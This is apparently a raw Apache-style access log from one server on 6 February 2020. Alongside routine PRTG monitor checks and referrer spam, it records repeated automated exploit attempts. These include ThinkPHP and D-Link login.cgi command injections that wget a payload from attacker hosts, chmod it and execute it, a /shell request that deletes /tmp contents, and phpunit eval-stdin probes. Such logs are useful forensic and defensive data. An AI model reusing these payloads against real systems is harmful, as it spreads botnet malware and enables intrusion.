212.91.246.72 - - [06/Feb/2020:15:39:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.223.102 - - [06/Feb/2020:15:39:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:15:40:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:15:41:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.114.224.102 - - [06/Feb/2020:15:42:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
2.133.82.214 - - [06/Feb/2020:15:42:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:15:42:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:15:43:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.117.217.234 - - [06/Feb/2020:15:43:44 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [06/Feb/2020:15:44:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.180.31.164 - - [06/Feb/2020:15:45:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [06/Feb/2020:15:45:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.89.11 - - [06/Feb/2020:15:46:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:15:46:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
60.205.1.13 - - [06/Feb/2020:15:46:53 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
60.205.1.13 - - [06/Feb/2020:15:46:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
46.119.171.190 - - [06/Feb/2020:15:47:22 +0100] "GET / HTTP/1.1" 200 1229 "https://vescenter.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; KKman2.0)"
46.119.171.190 - - [06/Feb/2020:15:47:22 +0100] "GET / HTTP/1.1" 200 1229 "https://vescenter.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; KKman2.0)"
46.119.171.190 - - [06/Feb/2020:15:47:23 +0100] "GET / HTTP/1.1" 200 1229 "https://vescenter.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; KKman2.0)"
212.91.246.72 - - [06/Feb/2020:15:47:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:15:48:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.186.137.112 - - [06/Feb/2020:15:48:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [06/Feb/2020:15:49:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.163.158.97 - - [06/Feb/2020:15:50:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:15:50:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.118.121.248 - - [06/Feb/2020:15:51:25 +0100] "GET / HTTP/1.1" 200 1229 "https://pornhive.org/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; WOW64; SV1; .NET CLR 2.0.50727)"
46.118.121.248 - - [06/Feb/2020:15:51:25 +0100] "GET / HTTP/1.1" 200 1229 "https://pornhive.org/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; WOW64; SV1; .NET CLR 2.0.50727)"
46.118.121.248 - - [06/Feb/2020:15:51:26 +0100] "GET / HTTP/1.1" 200 1229 "https://pornhive.org/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; WOW64; SV1; .NET CLR 2.0.50727)"
212.91.246.72 - - [06/Feb/2020:15:51:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [06/Feb/2020:15:51:49 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [06/Feb/2020:15:51:50 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [06/Feb/2020:15:52:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:15:53:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.67.231.93 - - [06/Feb/2020:15:54:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:15:54:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:15:55:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
39.113.197.251 - - [06/Feb/2020:15:55:32 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
39.113.197.251 - - [06/Feb/2020:15:55:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
39.113.197.251 - - [06/Feb/2020:15:55:42 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
39.113.197.251 - - [06/Feb/2020:15:55:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
39.113.197.251 - - [06/Feb/2020:15:56:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [06/Feb/2020:15:56:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [06/Feb/2020:15:57:17 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [06/Feb/2020:15:57:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:15:58:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.68.153.208 - - [06/Feb/2020:15:58:31 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
181.94.201.48 - - [06/Feb/2020:15:58:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [06/Feb/2020:15:59:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:16:00:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:16:01:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.36.222.204 - - [06/Feb/2020:16:01:32 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
5.32.176.107 - - [06/Feb/2020:16:02:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [06/Feb/2020:16:02:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:16:03:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:16:04:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:16:05:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:16:06:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.143.174.51 - - [06/Feb/2020:16:07:09 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [06/Feb/2020:16:07:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:16:08:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:16:09:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:16:10:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:16:11:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:16:12:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:16:13:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [06/Feb/2020:16:14:23 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [06/Feb/2020:16:14:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
82.129.6.231 - - [06/Feb/2020:16:15:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
103.60.175.118 - - [06/Feb/2020:16:15:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [06/Feb/2020:16:15:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [06/Feb/2020:16:15:36 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
112.161.111.175 - - [06/Feb/2020:16:16:24 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
112.161.111.175 - - [06/Feb/2020:16:16:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [06/Feb/2020:16:16:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.161.111.175 - - [06/Feb/2020:16:16:34 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
111.164.103.78 - - [06/Feb/2020:16:16:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
112.161.111.175 - - [06/Feb/2020:16:16:46 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
5.101.0.209 - - [06/Feb/2020:16:16:46 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
112.161.111.175 - - [06/Feb/2020:16:17:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [06/Feb/2020:16:17:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:16:18:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.29.161 - - [06/Feb/2020:16:18:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:16:19:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [06/Feb/2020:16:20:24 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [06/Feb/2020:16:20:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [06/Feb/2020:16:21:01 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
186.38.99.245 - - [06/Feb/2020:16:21:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [06/Feb/2020:16:21:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:16:22:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [06/Feb/2020:16:23:17 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
47.91.30.83 - - [06/Feb/2020:16:23:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.54.135.94 - - [06/Feb/2020:16:23:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.101.0.209 - - [06/Feb/2020:16:23:27 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [06/Feb/2020:16:23:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.201.179.77 - - [06/Feb/2020:16:24:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:16:24:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.88.79 - - [06/Feb/2020:16:24:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:16:25:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:16:26:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.70.67.38 - - [06/Feb/2020:16:27:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:16:27:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:16:28:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:16:29:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:16:30:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:16:31:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:16:32:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.91.112.8 - - [06/Feb/2020:16:33:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:16:33:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
182.48.105.210 - - [06/Feb/2020:16:34:19 +0100] "GET / HTTP/1.0" 200 1229 "http://212.91.246.80:80/" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)"
182.48.105.210 - - [06/Feb/2020:16:34:21 +0100] "stats" 501 320 "-" "-"
182.48.99.219 - - [06/Feb/2020:16:34:25 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [06/Feb/2020:16:34:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.132.212.236 - - [06/Feb/2020:16:34:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:16:35:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.32.154 - - [06/Feb/2020:16:35:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:16:36:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:16:37:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:16:38:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:16:39:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:16:40:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:16:41:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.71.19.121 - - [06/Feb/2020:16:42:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:16:42:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:16:43:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:16:44:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:16:45:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:16:46:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:16:47:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
